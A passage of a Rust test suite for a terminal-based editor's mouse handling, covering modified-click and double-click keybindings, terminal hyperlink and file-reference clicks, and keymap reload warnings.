    let selected_a_word = app.editor.selection.is_some_and(|s| s.anchor != s.head);
    assert!(
        !selected_a_word,
        "a plain click after a bound ctrl+click must not select a word, got {:?}",
        app.editor.selection
    );
}

#[test]
fn the_first_click_of_a_bound_modified_pair_does_not_fire_the_builtin() {
    // The dispatch guard is `Some((ctx, gesture, Some(cmd)))`. When a gesture
    // classifies but matches no command — exactly the first click of a
    // `ctrl+double_click` pair, which by construction can only be a
    // `ctrl+click` — the pattern fails, nothing returns early, and control
    // reaches the built-in Ctrl+click arm. So binding ONLY the double gave a
    // spurious Go to Definition on every first click: the gesture was
    // recognised as half of a bound pair and then leaked into the built-in it
    // was supposed to be part of.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("t.rs");
    std::fs::write(&file, "let name = value;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+double_click", "command": "save_file", "when": "editor"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    let (col, row) = (app.editor.last_inner.x + 12, app.editor.last_inner.y);
    let (before_row, before_col) = (app.editor.cursor_row, app.editor.cursor_col);
    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);

    // `trigger_definition_at` moves the caret to the clicked position before
    // asking the server, so an unmoved caret is the observable proof the
    // built-in did not run. Asserting on the LSP request itself would need a
    // live server; the caret is the same signal without one.
    assert_eq!(
        (app.editor.cursor_row, app.editor.cursor_col),
        (before_row, before_col),
        "the first click of a bound ctrl+double_click must not reach the \
         built-in Ctrl+click Go to Definition, but the caret moved as though \
         it had"
    );
}

#[test]
fn an_unmatched_modified_click_does_not_arm_the_tracker() {
    // The shape that actually reaches the built-in `terminal_click.record`,
    // which has no modifier guard: a modified click that CLASSIFIES, matches
    // no binding, and is NOT the first half of a bound double-click. Binding
    // `alt+double_click` and clicking with CTRL gives exactly that — the
    // swallow branch declines (the bound double is ALT, the click is CTRL, so
    // `is_double_click_prefix` is false for this gesture), and the dispatch
    // falls through to the built-in for real.
    //
    // If `record` armed on it, the user's next ordinary click would select a
    // word they never gestured for.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "alt+double_click", "command": "toggle_word_wrap", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let area = app.terminals[0].last_area;
    assert!(
        area.width > 4 && area.height > 2,
        "terminal must be laid out"
    );
    // A line of output IN FRONT of the token, so the ordering that used to
    // break these tests is the one this test always runs (#397), and the cell
    // is SEARCHED rather than assumed.
    //
    // Assuming it made this test conditionally vacuous, which is worse than
    // plainly vacuous: measured both ways, with `ClickTracker::record`'s
    // modifier guard deliberately broken, it FAILED with the token on the
    // assumed row and PASSED with the token one row down. So it discriminated
    // whenever it was checked by hand and went blind precisely under load,
    // which is the only condition it exists to cover. The negative assertion
    // at the end is satisfied by a click that lands on blank and selects
    // nothing, whether or not the tracker armed.
    // One call rather than two, which is fewer moving parts and nothing more:
    // `cell_carrying` searches every cell of every row, so a prompt landing
    // between two feeds and prefixing the payload row is tolerated either way.
    // The sibling tests still feed their decoy and payload separately.
    //
    // The payload row OPENS with a shell-shaped prefix on purpose. It is what
    // gives the span predicate a red state: under a row-level `contains` the
    // search resolves the `b` of `bash-5.2$`, `select_word_at` takes the word
    // there instead of the token, and the positive control below fails by
    // name. Every other fixture in this file prints its needle at column 0,
    // where a row test and a span test pick the same cell and the refinement
    // cannot go red.
    app.terminals[0].feed_bytes_for_test(
        b"a prompt got here first\r\nbash-5.2$ hello_world_token some other text\r\n",
    );
    term.draw(|f| app.render(f)).unwrap();
    let (col, row) = cell_carrying(&app.terminals[0], "hello_world_token")
        .expect("the pane must show THIS test's token, or there is no word to mis-select");

    // Precondition: the CTRL click must match nothing, or it returns early
    // from the matched dispatch and never reaches the built-in.
    let ctrl_gesture = crate::keymap::Gesture {
        kind: crate::keymap::GestureKind::Click,
        mods: KeyModifiers::CONTROL,
    };
    assert!(
        app.keymap
            .command_for_mouse(ctrl_gesture, crate::keymap::MouseContext::Terminal)
            .is_none(),
        "ctrl+click must match nothing, or this never reaches the built-in"
    );
    assert!(
        !app.keymap
            .is_double_click_prefix(ctrl_gesture, crate::keymap::MouseContext::Terminal),
        "ctrl+click must NOT be a double-click prefix here, or the swallow \
         branch returns first and the built-in is never reached"
    );

    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);

    // A following PLAIN click must be a fresh single click, not the second
    // half of a double the modified click armed.
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col + 1, row));
    let selected = app.terminal().selection_text();
    assert!(
        !selected.contains("hello_world_token"),
        "a plain click after an unmatched ctrl+click must not select a WORD: \
         the ctrl+click must not have armed the double-click tracker, but \
         selection was {selected:?}"
    );

    // The POSITIVE half, over the same cell. Without it, "the tracker stayed
    // unarmed" and "word selection could never have happened here" are the
    // same green: a click landing somewhere unselectable satisfies the
    // negative whatever the tracker did.
    //
    // ONE more click, not two. The plain click above DID arm the tracker -
    // that is the behaviour being contrasted with the ctrl+click, which must
    // not - so this one pairs with it (`is_double` allows a one-column drift)
    // and selects the word. A second click would then start a FRESH
    // single-cell selection and wipe it, which is what the first draft of this
    // control did and why it failed.
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    // The WORD, exactly. `select_word_at` brackets the alphanumeric run
    // around the pivot and `selection_text` extracts that span, so a correct
    // select yields the token and nothing else; `contains` would also accept
    // a selection wider than the word, which is the shape a scroll-clock
    // rebase can produce. This PR tightened two status assertions for the
    // same reason, so its own new control should not be looser.
    assert_eq!(
        app.terminal().selection_text(),
        "hello_world_token",
        "a PLAIN click pairing with the plain click above must select the \
         word: the tracker arms on plain clicks and refuses only modified \
         ones, and without this the negative above proves nothing"
    );
}

#[test]
fn a_modified_click_binding_does_not_arm_the_plain_double_click_in_the_terminal() {
    // `terminal_click.record` has no modifier guard, so a ctrl+click that
    // REACHES it arms the plain double-click tracker and the user's next
    // ordinary click selects a word they never gestured for.
    //
    // What this test ACTUALLY covers is the swallow branch, not the built-in.
    // With only `ctrl+double_click` bound, the pair's first click matches no
    // command, `is_double_click_prefix` is therefore true, and the SWALLOW
    // branch returns before the built-in path runs — so `terminal_click.record`
    // is never reached here. Deleting the swallow branch does fail this test,
    // which is what it guards: the prefix click must not arm the tracker.
    //
    // The unguarded `record` itself is covered separately by
    // `an_unmatched_modified_click_does_not_arm_the_tracker`, which uses a
    // gesture that classifies, matches nothing, and is NOT a double-click
    // prefix — the only shape that actually reaches the built-in.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+double_click", "command": "toggle_word_wrap", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let area = app.terminals[0].last_area;
    assert!(
        area.width > 4 && area.height > 2,
        "the terminal must be laid out, or the clicks land nowhere and this \
         test passes for reasons unrelated to tracker arming"
    );

    // There must be a WORD under the pointer. `select_word_at` is what a
    // spuriously-armed tracker triggers, and it selects nothing on a blank
    // cell — so clicking an empty terminal makes this test pass vacuously
    // whether the tracker armed or not. Print text first, and assert it
    // arrived, so the click has a real word to wrongly select.
    // A line of output IN FRONT of the token, so the ordering that used to
    // break these tests is the one this test always runs (#397).
    app.terminals[0].feed_bytes_for_test(b"a prompt got here first\r\nhello_world_token\r\n");
    term.draw(|f| app.render(f)).unwrap();
    // SEARCHED, not assumed. This test already carried a positive control, so
    // a displaced token failed it outright rather than passing vacuously - the
    // flaking half of the same defect its sibling had the vacuous half of.
    let (col, row) = cell_carrying(&app.terminals[0], "hello_world_token")
        .expect("the pane must show THIS test's token, or there is no word to mis-select");
    // No re-derivation of `cell_carrying`'s own predicate here. It ran that
    // exact span test on this pane and this cell to produce `(col, row)`, so
    // repeating it can only fail if the live shell scrolled the grid between
    // the search and the re-read - a different fault from the one such an
    // assertion would name.
    //
    // The span property is not pinned HERE. This test's payload prints at
    // column 0, where a row predicate and a span predicate select the same
    // cell, and both assertions below are negatives. Its red state lives in
    // `an_unmatched_modified_click_does_not_arm_the_tracker`, whose payload
    // row opens with a shell prefix and whose positive control fails by name
    // under a row predicate.

    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));

    // A plain click ALWAYS anchors a collapsed one-cell selection
    // (`start_selection_at`), so the correct outcome here is the single
    // character under the pointer — not an empty string. The defect is the
    // tracker firing `select_word_at`, which yields the whole WORD.
    //
    // Asserting emptiness would fail on correct behaviour, so the assertion
    // is against the word: anything longer than the one anchored cell means a
    // double-click fired off a click the user never paired.
    let selected = app.terminal().selection_text();
    assert!(
        !selected.contains("hello_world_token"),
        "a plain click after a bound ctrl+click must not select a WORD in the \
         terminal — the ctrl+click armed the plain double-click tracker. \
         Expected the one anchored cell, got {selected:?}"
    );
    assert!(
        selected.chars().count() <= 1,
        "a plain click anchors exactly one cell; a longer selection means the \
         tracker fired a double-click, got {selected:?}"
    );
}

#[test]
fn a_bound_click_defers_to_a_mouse_tracking_child() {
    // `child_owns_pointer` covers a bound CLICK the same way it covers the
    // wheel, because since #474 the left button is a gesture croft actually
    // forwards: the Down(Left) arm sends the press to a tracking child. So a
    // `ctrl+click` binding must decline over a tracking child -- the child
    // asked for the pointer -- and the press must reach it with the Ctrl bit
    // set, exactly as it would under a bare terminal emulator. SHIFT remains
    // the bypass (`holding_shift_takes_the_pointer_back_from_a_tracking_child`).
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+click", "command": "toggle_word_wrap", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let area = app.terminals[0].last_area;
    assert!(
        area.width > 4 && area.height > 2,
        "terminal must be laid out"
    );
    let (col, row) = (area.x + 2, area.y + 1);

    app.terminals[0].feed_bytes_for_test(b"\x1b[?1000h\x1b[?1006h");
    assert!(
        app.terminals[0].mouse_reporting(),
        "the child must be tracking, or this test says nothing about the guard"
    );
    let Some((lr, lc)) = app.terminals[0].cell_at(col, row) else {
        panic!(
            "the click must land on a real grid cell, or the guard declines for the \
             border reason instead of the tracking one and the test is vacuous"
        );
    };

    let before = app.editor.wrap_enabled();
    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);

    assert_eq!(
        app.editor.wrap_enabled(),
        before,
        "a bound ctrl+click over a tracking child must NOT run: the child asked \
         for the pointer and croft forwards the press to it"
    );
    let expected = format!("\x1b[<16;{};{}M", lc + 1, lr + 1);
    assert_eq!(
        String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()),
        expected,
        "the press reaches the child as an SGR report carrying the Ctrl bit"
    );
}

#[test]
fn the_swallow_guard_reads_the_clicked_terminal_not_the_active_one() {
    // `terminal_would_open_something_at` decides whether swallowing a
    // double-click prefix would cost the user a built-in link-open. The
    // built-in calls `activate_terminal_pane(idx)` BEFORE it looks for a
    // link, so it reads the CLICKED pane. A predicate reading
    // `self.terminal()` reads the ACTIVE pane, and in any split layout where
    // the click lands outside the focused pane those are different content —
    // so the swallow decision disagrees with what the built-in then does.
    //
    // Observable is a REFUSED link (`open_detected_url` rejects a non-web
    // scheme inertly). A printed https URL would reach `open_url`, which is
    // `Command::new("open")` with no test guard, and the suite would launch a
    // real browser on every run.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    // Only the DOUBLE is bound, so a single ctrl+click is a prefix and the
    // swallow branch is the one under test.
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+double_click", "command": "toggle_word_wrap", "when": "terminal"}]"#,
    );
    app.split_terminal().unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(app.terminals.len(), 2, "two panes are visible");

    // Link in pane 0; pane 1 is ACTIVE. The two panes must differ, or the
    // bug is unreachable and this test proves nothing.
    app.terminals[0]
        // A DECOY link on an earlier row. Under the `.is_some()` this branch
        // replaced, the row-major search hits the decoy first and the click
        // resolves the wrong link, so the exact-status assertion fails with
        // `decoy@` in the message. That is the red state the tightening
        // shipped without: nothing else in these panes emits OSC 8, so
        // reverting it left the suite green.
        //
        // `mailto:` rather than `file://` deliberately: `file://` is
        // intercepted by `editor_file_uri` and would exercise a different arm.
        .feed_bytes_for_test(b"\x1b]8;;mailto:decoy@example.com\x1b\\decoy\x1b]8;;\x1b\\\r\n");
    app.terminals[0]
        .feed_bytes_for_test(b"\x1b]8;;mailto:split@example.com\x1b\\split-link\x1b]8;;\x1b\\\r\n");
    app.active_terminal = 1;
    term.draw(|f| app.render(f)).unwrap();

    // FIND the link's cell rather than assuming which row it landed on
    // (#397). Pane 0 has a real shell, and its prompt arrives from the
    // reader thread whenever the OS gets round to it - before the injected
    // bytes on a loaded machine, after them on a quiet one. Either way the
    // link is in the pane; only its row moves, and hard-coding
    // `area.y + 1` made the test a race against shell startup rather than a
    // check of the swallow guard it is named for.
    //
    // The search IS the click coordinate here, not a separate check ahead of
    // one, and it is anchored on this test's own URI rather than on "a link":
    // the decoy above is what makes that distinction fail loudly. Every cell
    // `cells_of` yields is inside `last_area`, which `hyperlink_at_screen`
    // hit-tests, so a cell found is a cell a click reaches - the claim is not
    // weakened by not naming the row.
    let (col, row) = cell_with_link(&app.terminals[0], "mailto:split@example.com")
        .expect("pane 0 must carry the link somewhere, or the built-in has nothing to act on");
    assert_eq!(
        app.active_terminal, 1,
        "pane 1 must be ACTIVE while the click lands in pane 0, or the \
         clicked-vs-active distinction this test exists for does not arise"
    );

    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);

    assert_eq!(
        app.status, "Refused to open non-web link: mailto:split@example.com",
        "the prefix click must defer to the built-in, which opens the link in \
         the CLICKED pane. Reading the ACTIVE pane finds nothing there, \
         swallows the click, and the link never opens"
    );
}

#[test]
fn ctrl_click_on_a_line_range_selects_the_range() {
    // #804: `path:62-69` opens with lines 62 to 69 selected, the view on 62.
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("t.py");
    std::fs::write(&file, "l1\nl2\nl3\nline four\nl5\nl6\n").unwrap();
    let log = tmp.path().join("agent.log");
    // An escape makes it a rendered log, where Ctrl+click follows references.
    std::fs::write(&log, "\x1b[1mt.py:2-4\x1b[0m has the case\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    assert!(
        app.editor.log.is_some(),
        "the log opens in the rendered view"
    );
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 30)).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let body = app.editor.log.as_ref().unwrap().last_body;
    app.handle_mouse(MouseEvent {
        kind: MouseEventKind::Down(MouseButton::Left),
        column: body.x + 6,
        row: body.y,
        modifiers: KeyModifiers::CONTROL,
    });
    assert_eq!(app.editor.path.as_deref(), Some(file.as_path()));
    let sel = app.editor.selection.expect("the range is selected");
    assert_eq!(sel.normalised(), ((1, 0), (3, 9)), "lines 2 to 4, whole");
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 0));
    assert!(app.status.ends_with(":2-4"), "{}", app.status);
}

/// A `path:line` printed in a RENDERED ANSI log is Ctrl+clickable, the
/// same as one printed in a terminal pane (#257).
///
/// The reference is scanned against the text the user SEES. The fixture is
/// built so that matters: the second path sits after a 36-character SGR run
/// with no printed width, so its visible column falls INSIDE an escape
/// sequence in the raw bytes. A raw-bytes scan finds no reference at that
/// column at all, which is what makes this test turn on the mapping rather
/// than merely coexist with it.
///
/// Ctrl is what separates it from a selection drag: `begin_log_selection`
/// runs before the editor's Ctrl handling, so without the guard the modifier
/// click would just start a selection.
#[test]
fn a_file_reference_in_a_rendered_log_is_ctrl_clickable() {
    let tmp = tempfile::tempdir().unwrap();
    let first = tmp.path().join("first.rs");
    let second = tmp.path().join("second.rs");
    std::fs::write(&first, "a\nb\nc\n").unwrap();
    std::fs::write(&second, "one\ntwo\nthree\nfour\nfive\nsix\nseven\n").unwrap();

    // An SGR run with zero printed width, placed BETWEEN the two references
    // so the second one's screen column and byte offset diverge. It must be
    // LONGER than the path itself, or the shifted column still lands inside
    // the raw path token and both implementations agree - tempdir paths are
    // ~50 characters and vary per platform, so scale it rather than picking
    // a constant that silently stops discriminating. The assertion below
    // proves the fixture actually discriminates.
    let esc = "\x1b[1;3;4;38;2;255;0;0m".repeat(second.display().to_string().len() / 10 + 4);
    let log = tmp.path().join("build.log");
    std::fs::write(
        &log,
        format!(
            "{}:1 {esc}then {}:7 end\nconnecting to host.com:443\n",
            first.display(),
            second.display()
        ),
    )
    .unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    assert!(
        app.editor.log.is_some(),
        "the log must open in the rendered view, or this tests nothing"
    );

    let backend = ratatui::backend::TestBackend::new(200, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let body = app.editor.log.as_ref().unwrap().last_body;

    let visible = |app: &App, line: usize| -> String {
        app.editor
            .log
            .as_ref()
            .unwrap()
            .visible_text(line)
            .expect("line is parsed")
            .to_string()
    };

    // The second reference: visible column lands inside an escape in the raw
    // bytes, so only the escape-free scan can resolve it.
    let text = visible(&app, 0);
    let at = text.find("second.rs").expect("visible after stripping");
    let raw = std::fs::read_to_string(&log).unwrap();
    let raw_line = raw.lines().next().unwrap();
    assert!(
        crate::file_ref::file_ref_at(raw_line, at)
            .is_none_or(|fr| fr.path != second.display().to_string()),
        "fixture is wrong: a raw-bytes scan at column {at} already finds this \
         reference, so the test would pass without the escape-free mapping"
    );

    app.handle_mouse(MouseEvent {
        kind: MouseEventKind::Down(MouseButton::Left),
        column: body.x + u16::try_from(at).unwrap(),
        row: body.y,
        modifiers: KeyModifiers::CONTROL,
    });
    assert_eq!(
        app.editor.path.as_deref(),
        Some(second.as_path()),
        "Ctrl+click on a path after an escape run opens that file"
    );
    assert_eq!(
        app.editor.cursor_row, 6,
        "and lands on the referenced line (`:7`, 0-based)"
    );

    // A lookalike must NOT be opened: only `is_file()` separates
    // `host.com:443` from a real reference, and nothing else asserts it.
    app.editor.open(&log).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let host_line = visible(&app, 1);
    let hat = host_line
        .find("host.com")
        .expect("the lookalike is on line 1");
    app.handle_mouse(MouseEvent {
        kind: MouseEventKind::Down(MouseButton::Left),
        column: body.x + u16::try_from(hat).unwrap(),
        row: body.y + 1,
        modifiers: KeyModifiers::CONTROL,
    });
    assert_eq!(
        app.editor.path.as_deref(),
        Some(log.as_path()),
        "`host.com:443` resolves to no file, so the click must not navigate"
    );
    assert!(
        app.editor.log.as_ref().is_some_and(|l| l.dragging),
        "and it falls through to a selection drag rather than being eaten"
    );

    // Without Ctrl the same cell still starts a selection drag. `has_selection`
    // needs a != b, so a press alone is not yet a selection: the anchor IS the
    // head until a drag moves it.
    app.editor.open(&log).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    app.handle_mouse(MouseEvent {
        kind: MouseEventKind::Down(MouseButton::Left),
        column: body.x + u16::try_from(at).unwrap(),
        row: body.y,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(
        app.editor.path.as_deref(),
        Some(log.as_path()),
        "a plain click stays in the log"
    );
    assert!(
        app.editor.log.as_ref().is_some_and(|l| l.dragging),
        "a plain click still begins a selection drag"
    );
}

#[test]
fn a_prefix_click_defers_to_the_builtin_for_a_file_reference_too() {
    // The built-in Ctrl+click tries `terminal_url_click` OR
    // `terminal_file_click`. A swallow guard that consults only the URL half
    // still eats the file jump -- the same defect one branch over, which is
    // exactly the shape that produced this PR's major 2. Both arms or neither.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("target_file.rs"), "fn main() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+double_click", "command": "toggle_word_wrap", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let area = app.terminals[0].last_area;
    assert!(
        area.width > 12 && area.height > 2,
        "terminal must be laid out"
    );
    // The same class as the OSC 8 tests, reached through `terminal_file_click`
    // rather than `terminal_url_click`. The audit that found the others was
    // scoped to "tests that feed an OSC 8 link", which excludes a bare file
    // reference BY CONSTRUCTION - so the scope, not the code, is what hid it.
    app.terminals[0].feed_bytes_for_test(b"a prompt got here first\r\ntarget_file.rs:1:1\r\n");
    term.draw(|f| app.render(f)).unwrap();

    let (col, row) = cell_carrying(&app.terminals[0], "target_file.rs:1:1")
        .expect("the pane must carry THIS test's file reference");
    // Precondition: a file REFERENCE must be under the cursor, or the guard
    // declines for "nothing there" and the test says nothing about the file
    // half specifically.
    let has_ref = app.terminals[0]
        .line_text_at(col, row)
        .is_some_and(|(t, c)| crate::file_ref::file_ref_at(&t, c).is_some());
    assert!(
        has_ref,
        "the cell must carry a file reference, or this test cannot distinguish \
         the file arm from the URL arm"
    );

    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);

    // The built-in ran: it opened the file rather than the click being
    // swallowed as a double-click prefix.
    assert!(
        app.editor
            .path
            .as_deref()
            .is_some_and(|p| p.ends_with("target_file.rs")),
        "the prefix click must fall through to the built-in file jump, but the \
         editor holds {:?}",
        app.editor.path.as_deref()
    );
}

#[test]
fn a_double_click_prefix_over_a_mouse_tracking_child_leaves_the_builtin_alone() {
    // The swallow branch exists so the FIRST click of a bound `ctrl+double_click`
    // does not fire the built-in that owns the same modifier. Over a
    // mouse-tracking child it must still fall through, because swallowing
    // would disable the built-in Ctrl+click over every full-screen TUI while
    // binding `ctrl+click` leaves it working -- backwards.
    //
    // Since #474 the child DOES own a left click here (`child_owns_pointer`
    // covers Click/DoubleClick), so the swallow steps aside for that reason
    // too. The fall-through is right for a narrower reason that survives it:
    // the Cmd/Ctrl link-open runs BEFORE the forward in the Down(Left) arm,
    // so swallowing this click costs the user the link and buys nobody
    // anything -- the bound double is already unreachable over a tracker.
    //
    // The observable is deliberately a REFUSED link: `open_detected_url`
    // rejects a non-web scheme and sets a status without spawning anything.
    // Asserting on a successful open would shell out to `open`/`xdg-open` for
    // real, creating exactly the flaky spawning test #307 is about.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+double_click", "command": "toggle_word_wrap", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let area = app.terminals[0].last_area;
    assert!(
        area.width > 4 && area.height > 2,
        "terminal must be laid out"
    );
    // A real OSC 8 hyperlink with a non-web scheme: the built-in finds it via
    // `hyperlink_at_screen`, and `open_detected_url` then refuses it inertly.
    // The leading line forces the shell-prompt race (#397) to resolve the way
    // that used to break this test, so the cell is searched for instead of
    // computed from the border row.
    app.terminals[0].feed_bytes_for_test(b"a prompt got here first\r\n");
    // Two links in one feed, in the order the bytes carry them: the DECOY
    // first, then the payload. The `a prompt got here first` line above is a
    // SEPARATE feed, and that is fine here for a reason worth stating, since
    // a sibling test was just rewritten to avoid exactly that: this search is
    // anchored on a URI, not on a column, so a prompt arriving between the
    // two feeds moves the link's row and changes nothing the test asserts.
    // The wrap test cannot say that, because a column is precisely its
    // claim.
    //
    // The decoy is what gives the exact-URI SEARCH a
    // red state: revert the predicate to `.is_some()` and the row-major scan
    // stops on the decoy, so the status assertion rejects it by name. It does
    // NOT pin the assertion's FORM - with the search intact, `contains`
    // accepts the same correct answer, and an earlier version of this comment
    // claimed otherwise.
    //
    // The trailing newline after the payload parks the cursor on the NEXT
    // row, so late shell output cannot write onto the link's own row.
    app.terminals[0].feed_bytes_for_test(
        b"\x1b]8;;mailto:decoy@example.com\x1b\\decoy\x1b]8;;\x1b\\\r\n\x1b]8;;mailto:x@example.com\x1b\\link\x1b]8;;\x1b\\\r\n",
    );
    let (col, row) = cell_with_link(&app.terminals[0], "mailto:x@example.com").expect(
        "the cell must carry THIS test's OSC 8 link, or the built-in has nothing \
             to act on and this test cannot distinguish the two branches",
    );

    app.terminals[0].feed_bytes_for_test(b"\x1b[?1000h");
    assert!(
        app.terminals[0].mouse_reporting(),
        "the child must be tracking, or `child_owns_pointer` is false and this \
         test proves nothing about the guard"
    );

    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);

    assert_eq!(
        app.status, "Refused to open non-web link: mailto:x@example.com",
        "a double-click PREFIX over a mouse-tracking child must fall through to \
         the built-in: the Cmd/Ctrl link-open runs BEFORE the press is \
         forwarded, so swallowing the click would cost the user the link. \
         Expected the refusal from the built-in link handler"
    );
}

#[test]
fn a_modified_click_that_drags_away_does_not_pair_with_the_click_it_returns_to() {
    // The built-in trackers get `clear_if_moved` on every drag, so click,
    // drag away, click back is not a double. `ModifiedClickTracker` has no
    // such call anywhere, so the modified pair fires where the identical
    // unmodified sequence correctly does not.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+double_click", "command": "toggle_word_wrap", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let area = app.terminals[0].last_area;
    assert!(
        area.width > 4 && area.height > 2,
        "terminal must be laid out"
    );
    let (col, row) = (area.x + 2, area.y + 1);

    let before = app.editor.wrap_enabled();
    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);

    // Drag well away, then release, then click the origin again.
    let mut drag = mouse(MouseEventKind::Drag(MouseButton::Left), col + 20, row + 3);
    drag.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(drag);
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        col + 20,
        row + 3,
    ));

    let mut back = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    back.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(back);

    assert_eq!(
        app.editor.wrap_enabled(),
        before,
        "a modified click that dragged away must not pair with the click it \
         returns to, but the double fired"
    );
}

#[test]
fn a_reloaded_keymap_with_a_refused_row_reports_its_warning_count() {
    // Asserts the summary the reload sets, against a keymap built in memory.
    // Writing the real `~/.config/croft/keybindings.json` — which is what the
    // previous version of this test did — leaks into every concurrently
    // running test that builds an `App`, because `App::new` loads that path
    // unconditionally.
    let (_refused, warns) = crate::keymap::Keymap::resolve(
        r#"[{"key": "cmd+click", "command": "save_file", "when": "editor"}]"#,
    );
    assert_eq!(warns.len(), 1, "the Cmd row is refused with a reason");

    let status = super::keybindings_reload_status(&warns);
    assert!(
        status.contains("1 warning") && status.contains("OUTPUT"),
        "the count must reach the status bar and point at the channel, got {status:?}"
    );
    assert!(
        !super::keybindings_reload_status(&[]).contains("warning"),
        "a clean reload says nothing about warnings"
    );
}

#[test]
fn a_cmd_or_triple_gesture_is_refused_rather_than_bound_to_a_dead_entry() {
    // Both parse but can never match, so binding them would make
    // `has_mouse_bindings()` true for entries nothing can look up — and
    // would let cmd+click dodge the reserved bare-click check.
    let (km, warnings) = crate::keymap::Keymap::resolve(
        r#"[{"key": "cmd+click", "command": "save_file"},
            {"key": "triple_click", "command": "save_file"}]"#,
    );
    assert_eq!(warnings.len(), 2, "{warnings:?}");
    assert!(
        !km.has_mouse_bindings(),
